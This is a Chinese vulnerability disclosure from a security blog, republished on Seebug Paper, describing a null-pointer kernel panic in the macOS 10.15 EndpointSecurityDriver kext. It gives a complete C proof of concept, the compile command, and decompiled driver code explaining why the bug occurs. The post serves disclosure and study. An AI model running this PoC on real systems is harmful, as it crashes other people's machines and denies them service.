作者:Peterpan0927
原文链接:https://peterpan0927.github.io/2020/02/20/local-DOS-on-latest-macOS/#more
这个漏洞的具体表现形式为空指针解引用造成的kernel panic
,由于苹果的安全团队评估之后认为不能造成具体的安全隐患,所以在这里放出来漏洞描述和poc,希望安全界的同行们能够互相学习交流。
- 了解苹果的
IOKit
机制,可以参考OS X和iOS内核编程
- 用户态和内核扩展的交互
下面的代码在macOS 10.15 beta
到macOS 10.15.2
都是可以触发的,最新版本上还没有测试过:
#include <stdio.h> #include <stdlib.h> #include <assert.h> #include <mach/mach.h> #include <mach/mach_vm.h> #include <IOKit/IOKitLib.h> int main(int argc,char *argv[]){ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("EndpointSecurityDriver")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 1; } printf("got service: %x\n", service); kern_return_t err; // open a userclient: io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 8, &conn); if (err == KERN_SUCCESS){ printf("get user client connection\n"); } //input data uint64_t input[10]; uint32_t value=0x0; memset(input,0,sizeof(input)); printf("got userclient connection: %x\n", conn); err = IOConnectCallMethod(conn,0x0,input,value,NULL,0,NULL,NULL,NULL,NULL); if(err != KERN_SUCCESS) printf("no\n"); else printf("success\n"); IOServiceClose(conn); return 0; }
编译指令:
cc dos.c -framework IOKit -o dos
接下来运行一下就可以直观的看到效果了,下面就来分析一下问题所在
通过对内核扩展的代码审计我们可以很容易的发现这其实是一个逻辑问题,EndPointSecurity.kext
主动的重写了newUserClient
这个方法,但如果type
参数不是0或1的话依然会返回KERN_SUCCESS
,KERN_SUCCESS
就会让内核错误的认为函数调用成功,从而执行接下来的步骤,但事实上对应的client
并没有得到成功的创建,所以在之后用到client
事实上在内存中是并不存在的,最终就会表现为空指针报错,我将重写过的函数关键部分摘出来如下:
__int64 __fastcall EndpointSecurityDriver::newUserClient(__int64 a1, IOUserClient *a2, const char *a3, int a4, __int64 a5, EndpointSecurityExternalClient **a6) { v8 = a4; ...if ( v8 == 1 ){ ... } if ( v8 ) goto LABEL_20; ... v10 = 0; LABEL_20: if ( (unsigned int)gLogLevel_ >= 4 ) _os_log_internal( &dword_0, &_os_log_default, 2LL, _ZZN22EndpointSecurityDriver13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClientE11_os_log_fmt__12_, "virtual IOReturn EndpointSecurityDriver::newUserClient(task_t, void *, UInt32, OSDictionary *, IOUserClient **)"); return v10; }
也就是说我们在用户态的调用IOServiceOpen
的时候只要传递的type
参数不是0或1就会触发panic
,从这个角度我们也可以发现苹果的一些代码质量并不是很高,从这些角度出发,我们可能会发现一些意想不到的问题,针对薄弱点进行攻击相对来说是一种省时省力的方式。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1125/